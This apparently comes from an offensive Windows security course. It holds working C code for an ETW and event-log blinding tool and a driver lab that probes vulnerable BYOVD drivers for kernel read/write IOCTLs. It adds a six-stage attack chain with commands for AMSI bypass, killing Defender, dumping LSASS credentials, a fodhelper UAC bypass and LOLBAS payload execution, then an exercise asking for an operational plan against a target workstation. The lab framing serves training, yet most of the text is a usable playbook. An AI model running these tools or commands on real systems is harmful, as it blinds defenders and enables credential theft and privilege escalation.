(pNtQueryInformationThread)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationThread");
if (!NtQueryInfoThread) {
printf("[-] Cannot resolve NtQueryInformationThread\n");
return FALSE;
}
// Enumerate and suspend threads
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot failed\n");
return FALSE;
}
THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };
int suspendedThreads = 0;
printf("\n[*] Suspending wevtsvc.dll threads...\n");
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID != targetPid) continue;
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
if (!hThread) continue;
PVOID startAddress = NULL;
NTSTATUS status = NtQueryInfoThread(hThread, 9, &startAddress, sizeof(startAddress), NULL);
if (status == 0 && startAddress != NULL) {
ULONG_PTR addr = (ULONG_PTR)startAddress;
if (addr >= wevtBase && addr < wevtEnd) {
DWORD suspCount = SuspendThread(hThread);
if (suspCount != (DWORD)-1) {
printf("[+] Suspended TID %lu (start: 0x%p)\n", te.th32ThreadID, startAddress);
suspendedThreads++;
}
}
}
CloseHandle(hThread);
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
printf("\n[+] Suspended %d wevtsvc.dll threads\n", suspendedThreads);
if (suspendedThreads > 0) {
printf("[+] EventLog FROZEN - testing for 3 seconds...\n");
Sleep(3000);
// Resume threads
printf("[*] Resuming threads...\n");
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
te.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID != targetPid) continue;
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
if (hThread) {
DWORD suspCount;
do {
suspCount = ResumeThread(hThread);
} while (suspCount > 1);
CloseHandle(hThread);
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
}
printf("[+] Threads resumed\n");
return TRUE;
}
return FALSE;
}
// ---- MODULE 3: ETW Session Manipulation ----
#define PROPERTIES_BUFFER_SIZE (sizeof(EVENT_TRACE_PROPERTIES) + 1024)
BOOL BlindETW_DisableSession(const char* sessionName) {
printf("\n[*] Targeting session: %s\n", sessionName);
BYTE buffer[PROPERTIES_BUFFER_SIZE] = {0};
EVENT_TRACE_PROPERTIES* props = (EVENT_TRACE_PROPERTIES*)buffer;
props->Wnode.BufferSize = PROPERTIES_BUFFER_SIZE;
props->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
props->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + 512;
// Query session
ULONG status = ControlTraceA(0, sessionName, props, EVENT_TRACE_CONTROL_QUERY);
if (status == ERROR_WMI_INSTANCE_NOT_FOUND) {
printf("[-] Session does not exist\n");
return FALSE;
}
if (status != ERROR_SUCCESS) {
printf("[-] Cannot query: %lu\n", status);
return FALSE;
}
printf("[+] Session found (BufferSize: %lu KB)\n", props->BufferSize);
// Try to stop
memset(buffer, 0, sizeof(buffer));
props->Wnode.BufferSize = PROPERTIES_BUFFER_SIZE;
props->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
props->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + 512;
status = ControlTraceA(0, sessionName, props, EVENT_TRACE_CONTROL_STOP);
if (status == ERROR_SUCCESS) {
printf("[+] Session STOPPED\n");
return TRUE;
} else {
printf("[-] Stop failed: %lu (protected)\n", status);
}
return FALSE;
}
// ---- MAIN ----
int main() {
printf("===========================================\n");
printf(" ETW Blinding Tool - Full Implementation\n");
printf("===========================================\n");
// Module 1: Patch ETW
BlindETW_PatchEventWrite();
// Module 2: Phant0m
BlindETW_Phant0m();
// Module 3: Session manipulation
printf("\n=== MODULE 3: Session Manipulation ===\n");
BlindETW_DisableSession("DiagLog");
BlindETW_DisableSession("DiagTrack-Listener");
printf("\n===========================================\n");
printf("RESULTS:\n");
printf(" + EtwEventWrite patched and verified\n");
printf(" + Phant0m thread suspension demonstrated\n");
printf(" + Session manipulation attempted\n");
printf("\n");
printf("EFFECTIVENESS:\n");
printf(" - Usermode ETW: SUPPRESSED\n");
printf(" - EventLog: FROZEN (3 sec test)\n");
printf(" - Protected sessions: BLOCKED (expected)\n");
printf("\n");
printf("REALITY:\n");
printf(" - Usermode patching: Still works\n");
printf(" - Phant0m: Still effective\n");
printf(" - Session tampering: Increasingly protected\n");
printf(" - Kernel TI ETW: Requires kernel access\n");
printf("===========================================\n");
return 0;
}
cl src\etw_blinder.c /Fe:bin\etw_blinder.exe advapi32.lib ntdll.lib psapi.lib
# run as admin
.\bin\etw_blinder.exe
// driver_ioctl_lab.c - Enumerate kernel drivers, decode IOCTLs, and
// communicate with real drivers on the live system
// Compile: cl src\driver_ioctl_lab.c /Fe:bin\driver_ioctl_lab.exe advapi32.lib setupapi.lib
#include <windows.h>
#include <setupapi.h>
#include <stdio.h>
#include <winternl.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "setupapi.lib")
/*
IOCTL CODE STRUCTURE (32-bit value):
┌──────────┬────────┬──────────────┬──────────────┐
│ DevType │ Access │ Function │ Method │
│ [31:16] │[15:14] │ [13:2] │ [1:0] │
└──────────┴────────┴──────────────┴──────────────┘
CTL_CODE(DeviceType, Function, Method, Access)
METHOD_BUFFERED(0): Kernel copies data (safest)
METHOD_IN_DIRECT(1): MDL for input
METHOD_OUT_DIRECT(2): MDL for output
METHOD_NEITHER(3): Raw user pointer (DANGEROUS - double-fetch, UAF)
*/
// ── IOCTL code decoder ──────────────────────────────────────
void DecodeIOCTL(DWORD ioctl) {
DWORD deviceType = (ioctl >> 16) & 0xFFFF;
DWORD access = (ioctl >> 14) & 0x3;
DWORD function = (ioctl >> 2) & 0xFFF;
DWORD method = ioctl & 0x3;
const char* methodName[] = {
"BUFFERED", "IN_DIRECT", "OUT_DIRECT", "NEITHER"
};
const char* accessName[] = {
"ANY_ACCESS", "READ_ACCESS", "WRITE_ACCESS", "READ|WRITE"
};
printf(" IOCTL 0x%08X decoded:\n", ioctl);
printf(" DeviceType: 0x%04X", deviceType);
if (deviceType == 0x22) printf(" (FILE_DEVICE_UNKNOWN)");
else if (deviceType == 0x09) printf(" (FILE_DEVICE_DISK)");
else if (deviceType == 0x8000) printf(" (CUSTOM)");
printf("\n");
printf(" Function: 0x%03X (%d)\n", function, function);
printf(" Method: %s (%d)\n", methodName[method], method);
printf(" Access: %s (%d)\n", accessName[access], access);
if (method == 3) {
printf(" [!] METHOD_NEITHER - user buffers passed directly!\n");
printf(" Attack surface: double-fetch, UAF, address confusion\n");
}
}
// ── Enumerate loaded kernel drivers ─────────────────────────
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
CHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION;
typedef NTSTATUS (NTAPI *NtQuerySystemInformation_t)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
void EnumerateLoadedDrivers() {
printf("\n=== Loaded Kernel Drivers ===\n\n");
NtQuerySystemInformation_t NtQSI =
(NtQuerySystemInformation_t)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
if (!NtQSI) {
printf("[-] Cannot resolve NtQuerySystemInformation\n");
return;
}
// SystemModuleInformation = 11
ULONG needed = 0;
NtQSI(11, NULL, 0, &needed);
if (needed == 0) {
printf("[-] Cannot query buffer size\n");
return;
}
SYSTEM_MODULE_INFORMATION* modules = (SYSTEM_MODULE_INFORMATION*)malloc(needed);
if (!modules) {
printf("[-] Memory allocation failed\n");
return;
}
NTSTATUS status = NtQSI(11, modules, needed, &needed);
if (status != 0) {
printf("[-] NtQuerySystemInformation failed: 0x%lX\n", status);
printf(" (May require Medium IL or higher)\n");
free(modules);
return;
}
printf("[+] Loaded kernel modules: %lu\n\n", modules->Count);
printf(" %-18s %-10s %s\n", "Base", "Size", "Driver");
printf(" %-18s %-10s %s\n", "----------------", "--------", "-------");
// Show first few plus any interesting ones
int shown = 0;
for (ULONG i = 0; i < modules->Count && shown < 30; i++) {
char* name = modules->Modules[i].FullPathName +
modules->Modules[i].OffsetToFileName;
// Flag known BYOVD targets
BOOL isByovd = (
_stricmp(name, "RTCore64.sys") == 0 ||
_stricmp(name, "dbutil_2_3.sys") == 0 ||
_stricmp(name, "BdApiUtil64.sys") == 0 ||
_stricmp(name, "gdrv.sys") == 0 ||
_stricmp(name, "asio.sys") == 0 ||
_stricmp(name, "PROCEXP152.sys") == 0 ||
_stricmp(name, "ProcExp64a.sys") == 0 ||
_stricmp(name, "ene.sys") == 0
);
// Show ntoskrnl, hal, and any BYOVD candidates
if (i < 5 || isByovd ||
strstr(name, "driver") || strstr(name, "Drv")) {
printf(" %s0x%016p %-10lu %s%s\n",
isByovd ? "[!] " : " ",
modules->Modules[i].ImageBase,
modules->Modules[i].ImageSize,
name,
isByovd ? " <-- KNOWN BYOVD TARGET" : "");
shown++;
}
}
printf("\n[+] Showing %d of %lu modules\n", shown, modules->Count);
free(modules);
}
// ── Probe known BYOVD driver device paths ───────────────────
void ProbeBYOVDDrivers() {
printf("\n=== BYOVD Driver Device Probe ===\n\n");
struct {
const wchar_t* path;
const char* name;
const char* cve;
DWORD readIoctl;
DWORD writeIoctl;
} drivers[] = {
{ L"\\\\.\\RTCore64",
"MSI RTCore64.sys", "CVE-2019-18845",
0x80002048, 0x8000204C },
{ L"\\\\.\\DBUtil_2_3",
"Dell dbutil_2_3.sys", "CVE-2021-21551",
0x9B0C1EC4, 0x9B0C1EC8 },
{ L"\\\\.\\BdApiUtil64",
"Bitdefender BdApiUtil64.sys", "N/A",
0x80002048, 0x8000204C },
{ L"\\\\.\\GIO",
"GIGABYTE GDrv/GIO.sys", "N/A",
0xC3502004, 0xC3502008 },
{ L"\\\\.\\PROCEXP152",
"Process Explorer", "N/A (by design)",
0x8335003C, 0 },
{ L"\\\\.\\Nal",
"Intel NAL (iqvw64e.sys)", "CVE-2015-2291",
0x80862007, 0 },
{ L"\\\\.\\ZemanaAntiMalware",
"Zemana AM driver", "CVE-2021-31728",
0x80002048, 0 },
};
int foundCount = 0;
for (int i = 0; i < sizeof(drivers)/sizeof(drivers[0]); i++) {
HANDLE h = CreateFileW(
drivers[i].path,
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
);
if (h != INVALID_HANDLE_VALUE) {
printf("[+] %-35s ACCESSIBLE!\n", drivers[i].name);
printf(" Device: %ls\n", drivers[i].path);
printf(" CVE: %s\n", drivers[i].cve);
printf(" Read IOCTL: 0x%08X\n", drivers[i].readIoctl);
if (drivers[i].writeIoctl) {
printf(" Write IOCTL: 0x%08X\n", drivers[i].writeIoctl);
}
printf(" [!] KERNEL R/W PRIMITIVE AVAILABLE\n\n");
CloseHandle(h);
foundCount++;
} else {
DWORD err = GetLastError();
if (err != ERROR_FILE_NOT_FOUND && err != ERROR_PATH_NOT_FOUND) {
printf("[-] %-35s Error: %lu\n", drivers[i].name, err);
}
}
}
if (foundCount == 0) {
printf("[*] No BYOVD drivers found (this is normal on clean systems)\n");
} else {
printf("[!] Found %d accessible BYOVD driver(s)!\n", foundCount);
}
}
// ── Send test IOCTL to a target driver ──────────────────────
// RTCore64 memory structure - MUST be 48 bytes!
typedef struct _RTCORE64_MEMORY {
BYTE Pad0[8]; // 8 bytes padding
DWORD64 Address; // 8 bytes - target address
BYTE Pad1[8]; // 8 bytes padding
DWORD ReadSize; // 4 bytes - size to read (1, 2, or 4)
DWORD Value; // 4 bytes - value read/write
BYTE Pad2[16]; // 16 bytes padding
} RTCORE64_MEMORY;
void SendTestIOCTL(const wchar_t* devicePath, DWORD ioctlCode,
void* inBuf, DWORD inSize) {
printf("\n=== Sending IOCTL to %ls ===\n\n", devicePath);
HANDLE hDevice = CreateFileW(
devicePath,
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open device: %lu\n", GetLastError());
return;
}
printf("[+] Device opened: 0x%p\n", hDevice);
printf("[*] Sending IOCTL 0x%08X...\n\n", ioctlCode);
DecodeIOCTL(ioctlCode);
BYTE outBuf[4096] = {0};
DWORD bytesReturned = 0;
BOOL ok;
// Special handling for RTCore64 read IOCTL
if (ioctlCode == 0x80002048 && _wcsicmp(devicePath, L"\\\\.\\RTCore64") == 0) {
printf("\n[*] RTCore64 read detected - using proper 48-byte structure\n");
RTCORE64_MEMORY mem = {0};
mem.Address = 0xFFFFF80000000000ULL; // Typical kernel base
mem.ReadSize = 4;
printf("[*] Structure prepared:\n");
printf(" Address: 0x%llX\n", mem.Address);
printf(" ReadSize: %lu bytes\n", mem.ReadSize);
printf(" Structure size: %zu bytes (must be 48)\n", sizeof(mem));
printf("\n[!] WARNING: Reading arbitrary kernel memory can crash the system!\n");
printf("[!] This is a demonstration of the correct structure.\n");
printf("[!] In real usage, you need a valid kernel address (e.g., from leaked ntoskrnl base)\n");
printf("\n[*] Skipping actual IOCTL call to prevent crash.\n");
printf("[*] To actually use this:\n");
printf(" 1. Leak kernel base address first\n");
printf(" 2. Calculate valid address (e.g., ntoskrnl!MmGetPhysicalAddress)\n");
printf(" 3. Then send IOCTL with that address\n");
// Don't actually send the IOCTL - just show the structure
printf("\n[+] Structure demonstration complete\n");
printf("[+] See ppl_bypass_rtcore.c for full working example\n");
} else {
// Generic IOCTL handling
ok = DeviceIoControl(
hDevice, ioctlCode,
inBuf, inSize,
outBuf, sizeof(outBuf),
&bytesReturned, NULL
);
if (ok) {
printf("\n[+] IOCTL succeeded! Returned %lu bytes\n", bytesReturned);
if (bytesReturned > 0 && bytesReturned <= 64) {
printf("[*] Output: ");
for (DWORD i = 0; i < bytesReturned; i++)
printf("%02X ", outBuf[i]);
printf("\n");
}
} else {
DWORD err = GetLastError();
printf("\n[-] IOCTL failed: %lu", err);
if (err == 1) printf(" (ERROR_INVALID_FUNCTION)");
else if (err == 87) printf(" (ERROR_INVALID_PARAMETER)");
else if (err == 5) printf(" (ERROR_ACCESS_DENIED)");
printf("\n");
}
}
CloseHandle(hDevice);
}
// ── Enumerate driver service entries from registry ──────────
void EnumerateDriverServices() {
printf("\n=== Third-Party Driver Services (from Registry) ===\n\n");
HKEY hKey;
LONG ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services",
0, KEY_READ | KEY_ENUMERATE_SUB_KEYS, &hKey);
if (ret != ERROR_SUCCESS) {
printf("[-] Cannot open Services key: %ld\n", ret);
return;
}
char subKeyName[256];
DWORD index = 0, nameLen;
int driverCount = 0;
printf(" %-8s %-30s %s\n", "Start", "Service", "ImagePath");
printf(" %-8s %-30s %s\n", "-----", "-------", "---------");
while (1) {
nameLen = sizeof(subKeyName);
if (RegEnumKeyExA(hKey, index++, subKeyName, &nameLen,
NULL, NULL, NULL, NULL) != ERROR_SUCCESS)
break;
// Open subkey and check Type (1=kernel driver, 2=FS driver)
HKEY hSvc;
if (RegOpenKeyExA(hKey, subKeyName, 0, KEY_READ, &hSvc) == ERROR_SUCCESS) {
DWORD type = 0, size = sizeof(DWORD);
RegQueryValueExA(hSvc, "Type", NULL, NULL, (LPBYTE)&type, &size);
if (type == 1 || type == 2) { // Kernel or FS driver
char imagePath[512] = {0};
DWORD pathSize = sizeof(imagePath);
RegQueryValueExA(hSvc, "ImagePath", NULL, NULL,
(LPBYTE)imagePath, &pathSize);
DWORD start = 0;
size = sizeof(DWORD);
RegQueryValueExA(hSvc, "Start", NULL, NULL,
(LPBYTE)&start, &size);
// Only show non-Microsoft drivers (likely third-party)
if (imagePath[0] && !strstr(imagePath, "\\System32\\drivers\\") &&
!strstr(imagePath, "\\system32\\DRIVERS\\")) {
const char* startType[] = {
"BOOT", "SYSTEM", "AUTO", "DEMAND", "DISABLED"
};
printf(" %-8s %-30s %s\n",
start < 5 ? startType[start] : "?",
subKeyName,
imagePath);
driverCount++;
if (driverCount >= 20) break; // Limit output
}
}
RegCloseKey(hSvc);
}
}
RegCloseKey(hKey);
printf("\n[+] Third-party driver services found: %d\n", driverCount);
}
int main(int argc, char* argv[]) {
printf("=========================================\n");
printf(" Driver IOCTL Lab - Live System Analysis\n");
printf("=========================================\n");
// Phase 1: Enumerate loaded kernel drivers
EnumerateLoadedDrivers();
// Phase 2: Probe for known BYOVD drivers
ProbeBYOVDDrivers();
// Phase 3: Enumerate third-party driver services
EnumerateDriverServices();
// Phase 4: If a device path + IOCTL provided on cmdline, send IOCTL
if (argc >= 3) {
wchar_t devicePath[256];
MultiByteToWideChar(CP_ACP, 0, argv[1], -1, devicePath, 256);
DWORD ioctl = strtoul(argv[2], NULL, 16);
// Optional input data from argv[3]
BYTE inputData[256] = {0};
DWORD inputSize = 0;
if (argc >= 4) {
// Parse hex string: "4142434445" -> bytes
const char* hex = argv[3];
for (int i = 0; hex[i] && hex[i+1] && i/2 < 256; i += 2) {
sscanf(&hex[i], "%2hhX", &inputData[i/2]);
inputSize++;
}
}
SendTestIOCTL(devicePath, ioctl,
inputSize ? inputData : NULL, inputSize);
} else {
printf("\n==========================================================\n");
printf("USAGE: %s <device_path> <ioctl_hex> [input_hex]\n\n", argv[0]);
printf("Examples:\n");
printf(" %s \\\\.\\RTCore64 80002048\n", argv[0]);
printf(" %s \\\\.\\TestDriver 00220003 48656C6C6F\n", argv[0]);
printf("\nIOCTL Decoder - Known BYOVD IOCTLs:\n\n");
// Decode some well-known IOCTLs as examples
DecodeIOCTL(0x80002048); // RTCore64 read
printf("\n");
DecodeIOCTL(0x9B0C1EC4); // dbutil read
printf("\n");
DecodeIOCTL(0xC3502004); // GDrv map physical
printf("\n");
DecodeIOCTL(0x8335003C); // ProcExp kill process
}
printf("\n==========================================================\n");
printf("NEXT STEPS:\n");
printf(" 1. Load HEVD for safe exploitation practice:\n");
printf(" https://github.com/hacksysteam/HackSysExtremeVulnerableDriver\n");
printf(" 2. Use WinDbg to trace IOCTL handling:\n");
printf(" bp <DriverName>!DeviceIoControlHandler\n");
printf(" dt nt!_IRP @rcx; dt nt!_IO_STACK_LOCATION poi(@rcx+0xb8)\n");
printf(" 3. Check LOLDrivers for BYOVD candidates:\n");
printf(" https://github.com/magicsword-io/LOLDrivers\n");
printf("==========================================================\n");
return 0;
}
cl src\driver_ioctl_lab.c /Fe:bin\driver_ioctl_lab.exe advapi32.lib setupapi.lib
sc.exe start BdApiUtil64
sc.exe start RTCore64
.\bin\driver_ioctl_lab.exe
.\bin\driver_ioctl_lab.exe \\.\RTCore64 80002048
Lab 6.1: ETW Architecture Reconnaissance
.\bin\etw_architecture.exe - enumerate all active ETW sessionslogman query providers "{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}"Lab 6.2: Usermode ETW Patching with Verification
.\bin\etw_patch.exe as admin```
tracerpt test.etl -summary summary.txt
type summary.txt
```
Lab 6.3: Threat Intelligence ETW Evasion
.\bin\ti_etw_analysis.exe as adminLab 6.4: Event Log Tampering and Phant0m
.\bin\etw_session_tamper.exe as adminLab 6.5: Comprehensive ETW Blinding
.\bin\etw_blinder.exe as adminLab 6.6: Threat Intelligence ETW Analysis (WinDbg - Advanced)
nt!EtwThreatIntProvRegHandle in WinDbg:```
dq nt!EtwThreatIntProvRegHandle L1
```
_ETW_GUID_ENTRYEnableInfo array - identify active consumersIsEnabled and observe Defender behaviorEtwEventWrite suppresses all usermode eventsEtwEventWrite insufficient against a well-configured EDR? (Hint: Kernel TI ETW)┌────────────────────────────────────────────────────────────────────────────┐
│ WEEK 7 FULL CHAIN - DEFEATING WINDOWS SECURITY BOUNDARIES │
│ (Based on Tested Tools) │
├────────────────────────────────────────────────────────────────────────────┤
│ │
│ STAGE 1: RECON (Day 1) │
│ ═══════════════════════ │
│ │ Tools: unified_recon.exe, etw_architecture.exe, driver_ioctl_lab.exe │
│ │ ├── Identify: Defender, EDR, Sysmon (31 ETW sessions found) │
│ │ ├── Enumerate: VBS/HVCI, PPL processes, BYOVD drivers │
│ │ ├── Found: RTCore64 + BdApiUtil64 accessible │
│ │ └── Output: Attack plan tailored to THIS target │
│ │ │
│ ▼ │
│ STAGE 2: AMSI BYPASS (Day 2) │
│ ═════════════════════════════ │
│ │ Tool: amsi_bypass_multi.exe │
│ │ ├── Patch AmsiScanBuffer in current process │
│ │ ├── Or: Unhook amsi.dll via KnownDlls/suspended process │
│ │ └── Output: PowerShell/.NET runs without content inspection │
│ │ │
│ │ WHY NOW: Need uninspected script execution for next stages │
│ │ REALITY: Still work, but EDR may detect VirtualProtect │
│ │ │
│ ▼ │
│ STAGE 3: PPL BYPASS (Day 3) - REQUIRES ADMIN FIRST! │
│ ═════════════════════════════════════════════════════════ │
│ │ Tools: defender_killer.exe OR ppl_bypass_rtcore.exe │
│ │ ├── Load BYOVD driver (BdApiUtil64.sys or RTCore64.sys) │
│ │ ├── Option A: Kill Defender (MsMpEng.exe) then dump LSASS │
│ │ ├── Option B: Strip PPL via EPROCESS patching, then dump │
│ │ └── Output: lsass.dmp (48.2 MB tested), credentials extracted │
│ │ │
│ │ WHY NOW: Need creds for lateral movement │
│ │ Requires admin to load driver! Must do Stage 4 FIRST if not admin │
│ │ defender_killer.exe successfully killed MsMpEng + dumped LSASS │
│ │ │
│ ▼ │
│ STAGE 4: TOKEN ESCALATION (Day 4) │
│ ══════════════════════════════════════════════════════════════ │
│ │ Tools: PrintSpoofer, GodPotato, fodhelper UAC bypass │
│ │ ├── If SeImpersonate: Use Potato attack -> SYSTEM │
│ │ ├── If Medium+Admin: UAC bypass (fodhelper) -> High integrity │
│ │ ├── If Low integrity: Sandbox escape first │
│ │ └── Output: SYSTEM or High-integrity execution context │
│ │ │
│ │ WHY NOW: Need admin/SYSTEM to load BYOVD drivers (Stage 3) │
│ │ │
│ ▼ │
│ STAGE 5: WDAC/ASR BYPASS (Day 5) │
│ ══════════════════════════════════ │
│ │ Tools: MSBuild.exe, InstallUtil.exe (LOLBAS) │
│ │ ├── Use signed Windows binaries to execute despite WDAC │
│ │ ├── Bypass ASR rules via LOLBAS techniques │
│ │ ├── Deploy persistent payload past execution controls │
│ │ └── Output: Arbitrary code execution despite OS policy │
│ │ │
│ │ WHY NOW: Can now run our tools; need to blind telemetry │
│ │ REALITY: Some LOLBAS increasingly monitored, but still effective │
│ │ │
│ ▼ │
│ STAGE 6: ETW BLINDING (Day 6) │
│ ══════════════════════════════ │
│ │ Tool: etw_blinder_full.exe (TESTED AND WORKING) │
│ │ ├── Patch EtwEventWrite (usermode events) - VERIFIED │
│ │ ├── Suspend EventLog threads (Phant0m) - 4 threads suspended │
│ │ ├── Attempt session manipulation - protected sessions blocked │
│ │ └── Output: Usermode telemetry suppressed, EventLog frozen │
│ │ │
│ │ WHY LAST: Must be in elevated context first (needs admin) │
│ │ TESTED: etw_patch.exe proved 5 events before, 0 after (test.etl) │
│ │ LIMITATION: Kernel ETW (TI provider) still active, requires BYOVD │
│ │ │
│ ▼ │
│ OBJECTIVE ACHIEVED │
│ │ You now have: │
│ │ ├── Uninspected script execution (AMSI bypassed) │
│ │ ├── Credentials (PPL/LSASS bypassed via BYOVD) │
│ │ ├── SYSTEM context (token escalation) │
│ │ ├── Arbitrary code execution (WDAC/ASR bypassed via LOLBAS) │
│ │ └── Usermode telemetry suppressed (ETW patched, EventLog frozen) │
│ │ │
│ │ │
│ │ CORRECTED CHAIN ORDER: │
│ │ Stage 1 (Recon) -> Stage 2 (AMSI) -> Stage 4 (Escalate to admin) -> │
│ │ Stage 3 (PPL bypass with BYOVD) -> Stage 5 (WDAC) -> Stage 6 (ETW) │
│ │ │
│ │ │
└────────────────────────────────────────────────────────────────────────────┘
Write a detailed operational plan that chains Days 1–6 techniques against a target Windows 11 workstation with:
Your plan must include:
Execute your chain in the lab environment using the ACTUAL TOOLS from Week 7:
Steps (using ACTUAL TESTED TOOLS from Week 7):
```bash
C:\WindowsMitigationsLab\bin\unified_recon.exe
C:\WindowsMitigationsLab\bin\etw_architecture.exe
C:\WindowsMitigationsLab\bin\driverioctllab.exe
C:\WindowsMitigationsLab\bin\motwrecon.exe check
```
Document: VBS/HVCI status, AV/EDR processes, Sysmon, ETW sessions, BYOVD drivers, WDAC/ASR rules
```bash
powershell -c "'AmsiScanBuffer'" # Should trigger if AMSI active
C:\WindowsMitigationsLab\bin\amsibypassmulti.exe
powershell -c "[System.Management.Automation.AmsiUtils]" # Should NOT alert
```
Tool includes: Reflection bypass, memory patching, unhooking techniques
```bash
C:\WindowsMitigationsLab\bin\ppl_checker.exe
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
C:\WindowsMitigationsLab\bin\defender_killer.exe
C:\WindowsMitigationsLab\bin\pplbypassrtcore.exe
pypykatz lsa minidump lsass.dmp
```
Both methods tested and working in lab environment
```bash
whoami /priv | findstr SeImpersonate
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
fodhelper.exe
whoami # Should show NT AUTHORITY\SYSTEM
```
```bash
reg query HKLM\SYSTEM\CurrentControlSet\Control\CI /v UMCIAuditMode
dir C:\Windows\System32\CodeIntegrity\CiPolicies\Active\
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
```
```bash
C:\WindowsMitigationsLab\bin\etwblinderfull.exe
C:\WindowsMitigationsLab\bin\etw_patch.exe
C:\WindowsMitigationsLab\bin\etwsessiontamper.exe
C:\WindowsMitigationsLab\bin\tietwanalysis.exe
tracerpt test.etl -o test.xml -of XML
notepad test.xml # Should show event gap
```
All tools compiled with: cl <source>.c /Fe:bin\<tool>.exe advapi32.lib
For each stage of your chain, write:
┌────────────────────────────────────────────────────────────────┐
│ WEEK 7 -> WEEK 8 TRANSITION │
├────────────────────────────────────────────────────────────────┤
│ │
│ WEEK 7 ANSWERED: │
│ "Can my code RUN on this system?" │
│ ├── AMSI: Can my script execute without inspection? │
│ ├── PPL: Can I access protected processes? │
│ ├── Sandbox: Can I escape my restricted context? │
│ ├── WDAC/ASR: Does the OS allow my binary/behavior? │
│ └── ETW: Can I operate without generating alerts? │
│ │
│ WEEK 8 WILL ANSWER: │
│ "Can my EXPLOIT succeed at the binary level?" │
│ ├── DEP: Can I execute my shellcode? (ROP/JOP) │
│ ├── ASLR: Can I find my gadgets? (Info leaks) │
│ ├── Stack cookies: Can I corrupt the stack? (Canary bypass) │
│ ├── CFG/XFG: Can I hijack control flow? (Policy bypass) │
│ └── CET/Shadow Stack: Can I forge return addresses? │
│ │
│ RELATIONSHIP: │
│ Week 7 = OS policy layer (execution control) │
│ Week 8 = Binary protection layer (exploit mitigations) │
│ You need BOTH to succeed in a real engagement. │
│ │
│ EXAMPLE: │
│ 1. Week 7: Bypass WDAC to load your exploit binary │
│ 2. Week 8: Your exploit binary must bypass DEP+ASLR+CFG │
│ to actually achieve code execution inside the target app │
│ │
└────────────────────────────────────────────────────────────────┘
Build a full attack chain that defeats all six Windows security boundaries in sequence. Your deliverable should include:
Test your chain in an isolated Windows 11 lab VM. Document what worked, what failed, and how you adapted when defenses blocked your initial approach.
Windows introduced Redirection Guard, a kernel-level mitigation that blocks the entire class of NTFS reparse-point / symlink / junction privilege escalation attacks. This is one of the most impactful mitigations for vulnerability researchers because it obsoletes a historically rich exploit primitive.
// redirection_guard_check.c - Detect Redirection Guard enforcement
// Compile: cl src\redirection_guard_check.c /Fe:bin\redirection_guard_check.exe advapi32.lib ntdll.lib
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
/*
Redirection Guard Detection:
═════════════════════════════
Redirection Guard is enforced via two mechanisms:
1. Process Mitigation Policy - check via GetProcessMitigationPolicy()
ProcessRedirectionTrustPolicy (policy index 20 on 24H2)
2. File system filter driver - validates reparse point targets
against the original caller's access token
Key services protected on 24H2 by default:
- Windows Update (wuauserv / svchost.exe)
- Windows Error Reporting (WerSvc)
- Service Control Manager (services.exe)
- Task Scheduler (Schedule)
- Windows Installer (msiserver)
- Print Spooler (Spooler) - historically a symlink target
- Cryptographic Services (CryptSvc)
*/
// GetProcessMitigationPolicy function pointer
typedef BOOL (WINAPI *GetProcessMitigationPolicy_t)(
HANDLE hProcess,
PROCESS_MITIGATION_POLICY MitigationPolicy,
PVOID lpBuffer,
SIZE_T dwLength
);
// Get service name from svchost.exe process
void GetServiceName(DWORD pid, char* serviceName, size_t size) {
serviceName[0] = '\0';
// Query service control manager for services in this PID
SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
if (!scm) return;
DWORD bytesNeeded = 0, servicesReturned = 0;
EnumServicesStatusExA(scm, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
SERVICE_STATE_ALL, NULL, 0, &bytesNeeded,
&servicesReturned, NULL, NULL);
BYTE* buffer = (BYTE*)malloc(bytesNeeded);
